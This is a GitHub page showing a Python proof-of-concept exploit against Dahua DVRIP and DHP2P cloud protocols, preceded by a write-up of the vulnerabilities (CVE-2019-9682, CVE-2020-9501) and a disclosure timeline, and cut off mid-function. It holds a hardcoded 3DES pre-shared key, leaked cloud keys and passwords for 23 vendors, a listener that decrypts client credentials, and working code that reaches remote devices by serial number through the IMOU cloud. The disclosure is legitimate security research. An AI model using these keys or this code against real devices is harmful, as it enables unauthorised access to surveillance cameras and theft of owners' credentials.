forked from mcw0/PoC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Dahua-3DES-IMOU-PoC.py
1361 lines (1096 loc) · 39.8 KB
/
Dahua-3DES-IMOU-PoC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
Author: bashis <mcw noemail eu> 2020
Subject: Dahua DES/3DES encrypt/decrypt, NetSDK credentials leaks, Cloud keys/passwords, DHP2P PoC
1. Dahua DES/3DES (broken) authentication implementation and PSK
2. Vulnerability: Dahua NetSDK leaking credentials (first 8 chars) from all clients in REALM request when using DVRIP and DHP2P protocol
3. PoC: Added simple TCP/37777 DVRIP listener to display decrypted credentials in clear text
4. Vulnerability: Dahua DHP2P Cloud protocol credentials leakage
5. Vulnerability: Hardcoded DHP2P Cloud keys/passwords for 23 different providers
6. PoC: Access to devices within DHP2P Cloud. PoC only made for Dahua IMOU
-=[ #1 Dahua DES/3DES (broken) authentication implementation and PSK ]=-
Dahua DES/3DES authentication implementation are broken by endianess bugs, marked below with 'Dahua endianness bug' in this script
Replicated Dahua's implemenation, both encrypt and decrypt does work.
Dahua 3DES pre-shared key (PSK): poiuytrewq
-=[ #2 Dahua NetSDK leaking credentials (first 8 chars) from all clients in REALM request when using DVRIP and DHP2P protocol ]=-
[References used below]
3DES Username: c4 a3 af 48 99 56 b6 b4 (admin)
3DES Password: 54 ab ae b6 01 21 d6 71 (donotuse)
Note: The difference to login with 3DES or request REALM lays in the second byte of the two first bytes.
Login: a0 00
REALM: a0 01
[DES/3DES Login]
00000000 a0 00 00 00 00 00 00 00 c4 a3 af 48 99 56 b6 b4 │····│····│···H│·V··│ <= 3DES Username
00000010 54 ab ae b6 01 21 d6 71 05 02 00 01 00 00 a1 aa │T···│·!·q│····│····│ <= 3DES Password
[DVRIP REALM Request]
00000000 a0 01 00 00 00 00 00 00 c4 a3 af 48 99 56 b6 b4 │····│····│···H│·V··│ <= 3DES Username
00000010 54 ab ae b6 01 21 d6 71 05 02 00 01 00 00 a1 aa │T···│·!·q│····│····│ <= 3DES Password
-=[ #3 Simple TCP/37777 DVRIP listener to display decrypted credentials in clear text ]=-
To verify, fire up this script with argument: --poc_3des
Then use slightly older version of ConfigTool, SmartPSS or something that use TCP/37777 DVRIP Protocol and connect to the script.
[Example]
$ ./Dahua-3DES-IMOU-PoC.py --poc_3des
[*] [Dahua 3DES/IMOU PoC 2020 bashis <mcw noemail eu>]
[+] Trying to bind to 0.0.0.0 on port 37777: Done
[+] Waiting for connections on 0.0.0.0:37777: Got connection from 192.168.57.20 on port 49168
[◢] Waiting for connections on 0.0.0.0:37777
[+] Client username: admin
[+] Client password: donotuse
[*] Closed connection to 192.168.57.20 port 49168
[*] All done
$
-=[ #4 Dahua DHP2P Cloud protocol credentials leakage ]=-
Same packets as in DVRIP exist with Dahua DHP2P Cloud, but DVRIP is encapsulated within PTCP UDP packets.
Lets look at DVRIP packet again;
[DVRIP REALM Request]
00000000 a0 01 00 00 00 00 00 00 c4 a3 af 48 99 56 b6 b4 │····│····│···H│·V··│ <= 3DES Username
00000010 54 ab ae b6 01 21 d6 71 05 02 00 01 00 00 a1 aa │T···│·!·q│····│····│ <= 3DES Password
And now dump of DHP2P packet;
[DHP2P REALM Request]
00000000 50 54 43 50 00 00 00 18 00 00 00 14 00 00 ff eb │PTCP│····│····│····│
00000010 00 00 00 1c 05 33 fe 32 10 00 00 20 36 ef 03 4a │····│·3·2│··· │6··J│
00000020 00 00 00 00 a0 01 00 00 00 00 00 00 c4 a3 af 48 │····│····│····│···H│
00000030 99 56 b6 b4 54 ab ae b6 01 21 d6 71 05 02 00 01 │·V··│T···│·!·q│····│
00000040 00 00 a1 aa
If you now look very close, you will see exact same packet as in DVRIP;
[DHP2P REALM Request]
00000000 50 54 43 50 00 00 00 18 00 00 00 14 00 00 ff eb │PTCP│····│····│····│
00000010 00 00 00 1c 05 33 fe 32 10 00 00 20 36 ef 03 4a │····│·3·2│··· │6··J│
00000020 00 00 00 00 [a0 01 00 00 00 00 00 00 c4 a3 af 48 │····│····│····│···H│ <== DVRIP, 3DES Username
00000030 99 56 b6 b4 54 ab ae b6 01 21 d6 71 05 02 00 01 │·V··│T···│·!·q│····│ <== DVRIP, 3DES Password
00000040 00 00 a1 aa]
-=[ #5 Hardcoded DHP2P Cloud keys/passwords for 23 different providers ]=-
[DHP2P Cloud keys/passwords]
Below keys/passwords along with required usernames/FQDN/IPs where found hardcoded in 'P2PServer.exe' from self extracting archive
https://web.imoulife.com/soft/P2PSurveillance_3.01.001.3.exe
Note:
This site do not work anymore, due to following statement on https://web.imoulife.com/:
'Due to service upgrade, P2P web services will be officially discontinued on April 30, 2020, we are sorry for the inconvenience.'
YXQ3Mahe-5H-R1Z_ <============ Dahua/IMOU
Napco_20160615-U<=66>!Kz7HQzxy
CONWIN-20151111-KHTK
dhp2ptest-20150421_ydfwkfb
HiFocus-20150317_zy1
Amcrest_20150106-oyjL
Telefonica-20150209_ZLJ
BurgBiz-20141224_xyh
UYM5Tian-5Q-Q1Y_
Sentient-20141117_ztc
WatchNet-141117_qjs1
TELETEC-140925-BSChw
MEIKXXJJYKIKLKE_20140919
NAPCO_JcifenW2s3
KANGLE-140905-YSYhw
aoersi-5H-R1Z_
QY7TTVJ7vg-140523_cppLus
QY7TTVJ7vg-140522_easyCoLoSo
QY7TTVJ7vg-140422_ipTecNo
QY7TTVJ7vg-140410_Q-See
Stanley_20160704-3rb4tzBTZd
Panasonic_4q$+UtRWr]J6X\$uyKY
Da3k#kjA312
Note: All providers using different entry FQDN/IPs.
-=[ #6 Access to devices within DHP2P Cloud. PoC only made for Dahua IMOU ]=-
[Probing Device]
Note: XXXXXXXXXXXXXXX is the serial number of remote device (if S/N starts with letter, make it lowercase - some stupid bug)
$ ./Dahua-3DES-IMOU-PoC.py --dhp2p XXXXXXXXXXXXXXX --probe
[*] [Dahua 3DES/IMOU PoC 2020 bashis <mcw noemail eu>]
[+] Device 'XXXXXXXXXXXXXXX': Online
[*] All done
$
[Request REALM/RANDOM from Device]
Note: This PoC will only connect via Dahua DHP2P IMOU Cloud and request REALM and RANDOM from remote device.
$ ./Dahua-3DES-IMOU-PoC.py --dhp2p XXXXXXXXXXXXXXX
[*] [Dahua 3DES/IMOU PoC 2020 bashis <mcw noemail eu>]
[+] Device 'XXXXXXXXXXXXXXX': Online
[+] WSSE Authentication: Success
[+] Opening connection to 169.197.116.85 on port 27077: Done
[+] Setup P2P channel to 'XXXXXXXXXXXXXXX': Success
[*] Remote Internal IP/port: 192.168.57.20,192.168.0.108:51980
[*] Remote External IP/port: xxx.xxx.xxx.xxx:51980
[*] DHP2P Agent IP/port to remote: 169.197.116.85:27077
[+] Punching STUN hole: Success
[+] PTCP Connection: Success
[+] Received: CONN
[+] Request REALM:: Success
Realm:Login to XXXXXXXXXXXXXXX
Random:1852772904
[Disclaimer]
From here, a UDP protocol (called 'PTCP' AKA TCP-Alike-Over-UDP) is needed.
Have a nice day
/bashis
[*] All done
$
[Disclosure Timeline]
10/02/2020: Initated contact with Dahua PSIRT
13/02/2020: Pinged Dahua PSIRT after no reply
13/02/2020: Dahua PSIRT ACK
15/02/2020: Pinged Dahua PSIRT
15/02/2020: Dahua PSIRT replied they currently analyzing
16/02/2020: Clarified to Dahua PSIRT that 23 different cloud suppliers are affected
17/02/2020: Dahua PSIRT asked where and how I found cloud keys
18/02/2020: Provided additional details
26/02/2020: Received update from Dahua PSIRT for both vulnerabilites, where DES/3DES had apperantly been reported earlier by Tenable as 'login replay'
26/02/2020: Clarified again that DES/3DES issue exist both with DVRIP client traffic (such as ConfigTool, SmartPSS... etc.) and Cloud client traffic (such as IMOU, IMOU Life clients... etc.), as the DVRIP protocol is present in both
26-28/02/2020: Researched about Dahua PSIRT information about Tenable earlier report and found: https://www.tenable.com/security/research/tra-2019-36
28/02/2020: Clarified again with Dahua PSIRT about credential leakage from clients by default during REALM request, and not only during 'login'
28/02/2020: Dahua PSIRT acknowledged and stated to assign CVE with credit to both Tenable and myself
28/02/2020: Reached out to Tenable to share information with the researcher of 'login replay' about the upcoming CVE
16/04/2020: Pinged Dahua PSIRT
17/04/2020: Dahua PSIRT responded with CVEs and told they will realease security advisory on May 10, 2020
- CVE-2019-9682: DES / 3DES vulnerability
- CVE-2020-9501: 23 cloud keys disclosure
06/05/2020: Dahua PSIRT sent their security advisory, with updated date for release May 12, 2020.
09/05/2020: Full Disclosure
[Software updates]
SmartPSS: https://www.dahuasecurity.com/support/downloadCenter/softwares?id=2&child=201
NetSDK: https://www.dahuasecurity.com/support/downloadCenter/softwares?child=3
Mobile apps: https://www.dahuasecurity.com/support/downloadCenter/softwares?child=472
"""
import sys
import json
import argparse
import inspect
import datetime
import tzlocal # sudo pip3 install tzlocal
import xmltodict # sudo pip3 install xmltodict
from pwn import * # https://github.com/Gallopsled/pwntools
global debug
# For Dahua DES/3DES
ENCRYPT = 0x00
DECRYPT = 0x01
# For PTCP PoC
PTCP_SYN = '0002ffff'
PTCP_CONN = '11000000'
RED = '\033[91m'
GREEN = '\033[92m'
BLUE = '\033[94m'
#
# DVRIP have different codes in their protocols
#
def DahuaProto(proto):
proto = binascii.b2a_hex(proto.encode('latin-1')).decode('latin-1')
headers = [
'f6000000', # JSON Send
'f6000068', # JSON Recv
'a0050000', # DVRIP login Send Login Details
'a0010060', # DVRIP Send Request Realm
'b0000068', # DVRIP Recv
'b0010068', # DVRIP Recv
]
for code in headers:
if code[:6] == proto[:6]:
return True
return False
def DEBUG(direction, packet):
if debug:
packet = packet.encode('latin-1')
# Print send/recv data and current line number
print("[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno))
if (debug == 2) or (debug == 3):
print(hexdump(packet))
if (debug == 1) or (debug == 3):
if packet[0:8] == p64(0x2000000044484950,endian='big') or DahuaProto(packet[0:4].decode('latin-1')):
header = packet[0:32]
data = packet[32:]
if header[0:8] == p64(0x2000000044484950,endian='big'): # DHIP
print("\n-HEADER- -DHIP- SessionID ID RCVLEN EXPLEN")
elif DahuaProto(packet[0:4].decode('latin-1')): # DVRIP
print("\n PROTO RCVLEN ID EXPLEN SessionID")
print("{}|{}|{}|{}|{}|{}|{}|{}".format(
binascii.b2a_hex(header[0:4]).decode('latin-1'),binascii.b2a_hex(header[4:8]).decode('latin-1'),
binascii.b2a_hex(header[8:12]).decode('latin-1'),binascii.b2a_hex(header[12:16]).decode('latin-1'),
binascii.b2a_hex(header[16:20]).decode('latin-1'),binascii.b2a_hex(header[20:24]).decode('latin-1'),
binascii.b2a_hex(header[24:28]).decode('latin-1'),binascii.b2a_hex(header[28:32]).decode('latin-1')))
if data:
print("{}\n".format(data.decode('latin-1')))
elif packet: # Unknown packet, do hexdump
log.failure("DEBUG: Unknow packet")
print(hexdump(packet))
print("[ END {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno))
return
#
# Based on: https://gist.github.com/bebehei/5e3357e5a1bf46ec381379ef8f525c7f
#
def DHP2P_WSSE_Generate(user_name, user_key, uri, data):
CSeq = random.randrange(2 ** 31)
drand = random.randrange(2 ** 31)
curdate = datetime.datetime.utcnow().isoformat(timespec='seconds') + 'Z' # Always use UTC for created
#
# Dahua WSSE auth
#
PWD = str(drand) + str(curdate) + 'DHP2P:' + user_name +':'+ user_key
hash_digest = hashlib.sha1()
hash_digest.update(PWD.encode('ascii'))
x_wsse = ', '.join([ '{REQ} {URI} HTTP/1.1\r\n'
'CSeq: {CSeq}\r\n'
'Authorization: WSSE profile="UsernameToken"\r\n'
'X-WSSE: UsernameToken Username="{user}"',
'PasswordDigest="{digest}"',
'Nonce="{nonce}"',
'Created="{created}"\r\n'])
x_wsse = x_wsse.format(
REQ='DHGET' if not data else 'DHPOST',
URI=uri,
CSeq=CSeq,
user=user_name,
digest=base64.b64encode(hash_digest.digest()).decode('ascii'),
nonce=drand,
created=curdate,
)
if data:
x_wsse += 'Content-Type: \r\n'
x_wsse += 'Content-Length: {}\r\n'.format(len(data))
x_wsse += '\r\n'
x_wsse += data
else:
x_wsse += '\r\n'
return x_wsse, int(CSeq)
#
# --------- [END] ---------
#
def HTTP_header(response):
rxHeaderJSON = {}
response = response.split('\r\n\r\n')
rxHeader = response[0].split('\r\n')
for HEAD in range(0,len(rxHeader)):
if HEAD == 0:
tmp = rxHeader[HEAD].split()
rxHeaderJSON.update({"version":tmp[0]})
rxHeaderJSON.update({"code":int(tmp[1])})
rxHeaderJSON.update({"status":' '.join(tmp[2:])})
else:
tmp = rxHeader[HEAD].split(": ") #
rxHeaderJSON.update({tmp[0].lower(): int(tmp[1]) if (tmp[0].lower() == 'content-length') or (tmp[0].lower() == 'cseq') else tmp[1]})
return response[1], rxHeaderJSON
#
# The DES/3DES encrypt/decrypt code in the bottom of this script.
#
def Dahua_Gen0_hash(data, mode):
# "secret" key for ChengDu JiaFa
# key = b'OemChengDuJiaFa' # 3DES
# "secret" key for Dahua Technology
key = b'poiuytrewq' # 3DES
if len(data) > 8: # Max 8 bytes!
log.failure("'{}' is more than 8 bytes, this will most probaly fail".format(data))
data = data[0:8]
data_len = len(data)
key_len = len(key)
#
# padding key with 0x00 if needed
#
if key_len <= 8:
if not (key_len % 8) == 0:
key += p8(0x0) * (8 - (key_len % 8)) # DES (8 bytes)
elif key_len <= 16:
if not (key_len % 16) == 0:
key += p8(0x0) * (16 - (key_len % 16)) # 3DES DES-EDE2 (16 bytes)
elif key_len <= 24:
if not (key_len % 24) == 0:
key += p8(0x0) * (24 - (key_len % 24)) # 3DES DES-EDE3 (24 bytes)
#
# padding data with 0x00 if needed
#
if not (data_len % 8) == 0:
data += p8(0x0).decode('latin-1') * (8 - (data_len % 8))
if key_len == 8:
k = des(key)
else:
k = triple_des(key)
if mode == ENCRYPT:
data = k.encrypt(data.encode('latin-1'))
else:
data = k.decrypt(data)
data = data.decode('latin-1').strip('\x00') # Strip all 0x00 padding
return data
class DHP2P_P2P_Client(object):
def __init__(self, USER, SERVER, PORT, KEY, DEVICE):
#
# DHP2P specific
#
self.USER = USER
self.KEY = KEY
self.SERVER = SERVER
self.PORT = PORT
#
# Device we connect to
#
self.DEVICE = DEVICE
#
# self.sock: Socket for WSSE and probe traffic
#
self.sock = None
#
# STUN specific
#
self.BINDING_REQUEST_SIGN = b'\x00\x01'
self.BINDING_RESPONSE_ERROR = b'\x01\x11'
self.BINDING_RESPONSE_SUCCESS = b'\x01\x01'
#
# Will be set to True when we receive PTCP CONN
# Will be set to False when we receive PTCP DISC
#
self.CONNECT = False
#
# RemoteListenID/LocalListenID is calculated how much data has been sent and received
#
self.SentToRemoteLEN = 0
self.RecvToLocalLEN = 0
self.RemoteListenID = p32(self.SentToRemoteLEN, endian='big')
self.LocalListenID = p32(self.RecvToLocalLEN, endian='big')
#
#
# 'RemoteMessageID' is required to repost from remote
# 'LocalMessageID' can be used for own validity checks
#
self.RemoteMessageID = p32(0, endian='big') # Generated by remote
self.LocalMessageID = p32(0, endian='big') # self.LocalMessageID + self.SentToRemoteLEN
#
# Used to identify incoming packets
#
self.PacketLEN = None
self.PacketType = None
#
# self.DHP2P_PTCP_PacketID() use this to generate our PacketID
#
self.SentPacketID = 0
#
# Not really used for something now, can be used for checking
#
self.RecvPacketID = None
#
# Will follow all PTCP packets during the session
#
self.RealmSID = p32(random.randrange(2 ** 32), endian='big')
socket.setdefaulttimeout(3)
def DHP2P_P2P_UDP(self, packet, P2P):
TRY = 0
if debug:
log.success("Sending to: {}:{}".format(self.SERVER,str(self.PORT)))
log.info("Sending:\n")
print(packet)
# for future STUN and P2P traffic
if P2P == True:
self.remote = remote(host=self.SERVER,port=self.PORT,typ='udp')
while True:
try:
# Send data
self.remote.send(packet.encode('latin-1'))
# Receive response
data = self.remote.recv()
data = data.decode('latin-1')
if debug:
log.info("Receive:\n")
print(data)
break
except Exception as e:
if TRY == 3:
log.failure(format(e))
self.remote.close()
return False
log.info("Trying future STUN and P2P: {}".format(TRY))
TRY += 1
pass
else:
# For normal communication
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = (self.SERVER, self.PORT)
while True:
try:
# Send data
sent = self.sock.sendto(packet.encode('utf-8'), server_address)
# Receive response
data, server = self.sock.recvfrom(4096)
data = data.decode('latin-1')
if debug:
log.info("Receive:\n")
print(data)
break
except Exception as e:
if TRY == 3:
log.failure(format(e))
self.sock.close()
return False
log.info("Trying: {}".format(TRY))
TRY += 1
pass
packet = HTTP_header(data)
#
# Return answer if we only probing for device
#
if self.probe:
return packet
if len(packet[1]):
#
# Online: HTTP/1.1 100 Trying
#
if packet[1].get('code') == 100:
device = log.progress("Setup P2P channel to '{}'".format(self.DEVICE))
device.status(self.color("Trying to setup...",BLUE))
if debug:
log.info("Received:\n")
print(json.dumps({'header':packet[1],
'data':json.loads(json.dumps(xmltodict.parse(packet[0]))) if len(packet[0]) else None,
'rhost': server[0],
'rport': server[1]
},indent=4))
#
# Wait for 'Server Nat Info!'
#
try:
while packet[1].get('code') != 200:
data, server = self.sock.recvfrom(4096)
DEBUG("RECV",data.decode('latin-1'))
# We can receive STUN data before 'Server Nat Info!'
if self.CheckSTUNResponse(data):
log.info("BINDING_REQUEST_SIGN from: {}:{}".format(self.color(server[0],BLUE),self.color(server[1],BLUE) ))
continue
data = data.decode('latin-1')
packet = HTTP_header(data)
except Exception as e:
device.error(format(e))
if self.sock:
self.sock.close()
return False
device.success(self.color("Success",GREEN))
#
# Offline: HTTP/1.1 404 Not Found
#
elif packet[1].get('code') == 404:
device.failure(self.color("Gone offline?",RED))
if self.sock:
self.sock.close()
if debug:
log.info("Received:\n")
print(json.dumps({'header':packet[1],
'data':json.loads(json.dumps(xmltodict.parse(packet[0]))) if len(packet[0]) else None,
'rhost': self.SERVER,
'rport': self.PORT,
},indent=4))
return {'header':packet[1],
'data':json.loads(json.dumps(xmltodict.parse(packet[0]))) if len(packet[0]) else None,
'rhost': self.SERVER,
'rport': self.PORT,
}
def CheckSTUNResponse(self,response):
if response[0:2] == self.BINDING_REQUEST_SIGN:
if debug:
print ('BINDING_REQUEST_SIGN')
return True
elif response[0:2] == self.BINDING_RESPONSE_ERROR:
print ('BINDING_RESPONSE_ERROR')
return False
elif response[0:2] == self.BINDING_RESPONSE_SUCCESS:
if debug:
print ('BINDING_RESPONSE_SUCCESS')
return True
else:
return False
def color(self,text,color):
return "{}{}\033[0m".format(color,text)
def DHP2P_P2P_ProbeDevice(self):
self.probe = True
probe = log.progress("Device '{}'".format(self.DEVICE))
query = None
URI = '/probe/device/{}'.format(self.DEVICE)
WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
probe.status(self.color("Trying...",BLUE))
response = self.DHP2P_P2P_UDP(WSSE, False)
if response[1].get('code') == 200:
probe.success(self.color("Online",GREEN))
response = True
elif response[1].get('code') == 404:
probe.failure(self.color("Offline",RED))
response = False
else:
probe.failure(self.color(response,RED))
response = False
self.probe = False
return response
def DHP2P_P2P_WSSE(self):
wsse = log.progress("WSSE Authentication")
self.USER = "P2PClient"
query = None
URI = '/online/relay'
WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
wsse.status(URI)
response = self.DHP2P_P2P_UDP(WSSE, False)
if not response:
return False
if not response.get("header").get("code") == 200:
print (json.dumps(response,indent=4))
print (WSSE)
return False
self.SAVED_SERVER = response.get('rhost')
self.SAVED_PORT = response.get('rport')
self.SERVER = response.get('data').get('body').get('Address').split(':')[0]
self.PORT = int(response.get('data').get('body').get('Address').split(':')[1])
#
# ================
#
self.USER = ""
query = None
URI = '/relay/agent'
WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
wsse.status(URI)
response = self.DHP2P_P2P_UDP(WSSE, False)
if not response:
return False
if debug:
print (json.dumps(response,indent=4))
self.RELAY_SERVER = response.get('data').get('body').get('Agent').split(':')[0]
self.RELAY_PORT = int(response.get('data').get('body').get('Agent').split(':')[1])
self.SERVER = self.RELAY_SERVER
self.PORT = self.RELAY_PORT
#
# ================
#
self.USER = "P2PClient"
query = '<body><Client>:0</Client></body>'
URI = '/relay/start/{}'.format(response.get('data').get('body').get('Token'))
WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
wsse.status(URI)
response = self.DHP2P_P2P_UDP(WSSE, True)
if not response:
return False
if debug:
print (json.dumps(response,indent=4))
SID = response.get('data').get('body').get('SID')
TIMEOUT = response.get('data').get('body').get('Time')
self.USER = "P2PClient"
query = '<body><Identify>0 0 0 0 0 0 0 0</Identify><PubAddr>{}:{}</PubAddr></body>\r\n'.format(self.SERVER,self.PORT)
URI = '/device/{}/p2p-channel'.format(self.DEVICE)
WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
self.SERVER = self.SAVED_SERVER
self.PORT = self.SAVED_PORT
wsse.status(URI)
response = self.DHP2P_P2P_UDP(WSSE, False)
if not response:
return False
# Identify = response.get('data').get('body').get('Identify')
# IpEncrpt = response.get('data').get('body').get('IpEncrpt')
LocalAddr = response.get('data').get('body').get('LocalAddr')
# NatValueT = response.get('data').get('body').get('NatValueT')
PubAddr = response.get('data').get('body').get('PubAddr')
# Relay = response.get('data').get('body').get('Relay')
# version = response.get('data').get('body').get('version')
log.info("Remote Internal IP/port: {}".format(self.color(LocalAddr,BLUE)))
log.info("Remote External IP/port: {}".format(self.color(PubAddr,BLUE)))
log.info("DHP2P Agent IP/port to remote: {}:{}".format(self.color(self.RELAY_SERVER,BLUE), self.color(self.RELAY_PORT,BLUE)))
if debug:
print (json.dumps(response,indent=4))
wsse.success(self.color("Success",GREEN))
return True
#
# Now we starting an STUN (Session Traversal Utilities through Network Address Translators) session
#
def DHP2P_P2P_Stun(self):
stun = log.progress("Punching STUN hole")
stun.status("Trying...")
response = self.remote.recv()
self.remote.clean() # clean the tube
Packet = self.BINDING_RESPONSE_SUCCESS + response[2:24] + b'\x00' * 8 + response[32:]
self.remote.send(Packet)
#
# Remote will send multiple responses, clean the tube after success
#
response = self.remote.recv(timeout=4)
#
# Not stable check below ...
#
# if not response[0:2] == self.BINDING_RESPONSE_SUCCESS:
# stun.failure("Failed to bind")
# return False
self.remote.clean() # clean the tube
stun.success(self.color("Success",GREEN))
return True
def DHP2P_P2P_PTCP(self):
ptcp = log.progress("PTCP Connection")
#
# Used data relocated to PTCP_SEND() function
#
ptcp.status("SYN")
if not self.DHP2P_PTCP_P2P(None,PTCP_SYN):
ptcp.failure("SYN-ACK")
return False
ptcp.status("SYN-ACK")
ptcp.status("CONN")
if not self.DHP2P_PTCP_P2P(None,PTCP_CONN):
ptcp.failure("CONN")
return False
ptcp.success(self.color("Success",GREEN))
realm = log.progress("Request REALM")
realm.status("Trying")
#
# PoC: DVRIP Request of REALM + RANDOM
#
REALM = p32(0xa0010000,endian='big') + (p8(0x00) * 20) + p64(0x050201010000a1aa,endian='big')
data = self.DHP2P_PTCP_P2P(REALM,None)
if not len(data):
realm.failure("Failure")
return False
#
# Print only REALM data, skip DVRIP 32 bytes binary header
#
print(data[32:])
realm.success(self.color("Success",GREEN))
print("""
[Disclaimer]
From here, a UDP protocol (called 'PTCP' AKA TCP-Alike-Over-UDP) is needed.
Have a nice day
/bashis
""")
return True
def DHP2P_PTCP_P2P(self, data, DHP2P_Type):
self.LocalMessageID = p32(int(binascii.b2a_hex(self.LocalMessageID),16) + self.SentToRemoteLEN,endian='big')
#
# PTCP SYN / SYN-ACK always start with this
#
_PTCP_SYN = b'\x00\x02\xff\xff'
Packet = b'PTCP' + self.RemoteListenID + self.LocalListenID + (_PTCP_SYN if DHP2P_Type == PTCP_SYN else p16(0x0) + self.DHP2P_PTCP_PacketID(self.SentPacketID)) + self.LocalMessageID + self.RemoteMessageID
if not DHP2P_Type == PTCP_SYN:
self.remote.send(Packet)
self.SentToRemoteLEN += len(Packet[24:])
if DHP2P_Type == PTCP_SYN:
data = '\x00\x03\x01\x00'
Packet = Packet + data.encode('latin-1')
elif DHP2P_Type == PTCP_CONN:
_PTCP_CONN = '\x11\x00\x00\x00'
data = '\x00\x00\x00\x00\x00\x00\x93\x91\x7f\x00\x00\x01'
Packet = Packet + _PTCP_CONN.encode('latin-1') + self.RealmSID + data.encode('latin-1')
else:
#
# DVRIP packet's from main function
#
Packet = Packet + p32(len(data) + 0x10000000, endian='big') + self.RealmSID + p32(0x0) + data
if data:
DEBUG("SEND",Packet.decode('latin-1'))
self.remote.send(Packet)
self.SentToRemoteLEN += len(Packet[24:])
return self.DHP2P_PTCP_RECV()
def DHP2P_PTCP_RECV(self):
data = []
try:
while True:
response = self.remote.recv()
DEBUG("RECV",response.decode('latin-1'))
self.RecvPacketID = response[12:16]
self.RemoteMessageID = response[16:20]
self.LocalMessageID = response[20:24]
if len(response) > 24:
if self.LocalListenID == response[4:8]:
self.RecvToLocalLEN += len(response[24:])
self.SentPacketID += len(response[24:]) # used to calculate PacketID
self.RemoteListenID = p32(self.SentToRemoteLEN, endian='big')
self.LocalListenID = p32(self.RecvToLocalLEN, endian='big')
self.PacketLEN = response[24:28]
self.PacketType = response[36:40]
#
# "SYN/SYN-ACK"
#
if binascii.b2a_hex(response[24:]).decode('latin-1') == '00030100':
return True
#
# CONN / DISC
#
elif self.PacketLEN == b'\x12\x00\x00\x00' and self.PacketType == b'CONN':
log.success("Received: {}".format(self.color("CONN",GREEN)))
self.CONNECT = True
return True
elif self.PacketLEN == b'\x12\x00\x00\x00' and self.PacketType == b'DISC':
log.failure("Received: {}".format(self.color("DISC",RED)))
Packet = b'PTCP' + self.RemoteListenID + self.LocalListenID + p16(0x0) + self.DHP2P_PTCP_PacketID(self.SentPacketID) + self.LocalMessageID + self.RemoteMessageID
self.DHP2P_PTCP_P2P(Packet,'PINGACK')
self.CONNECT = False
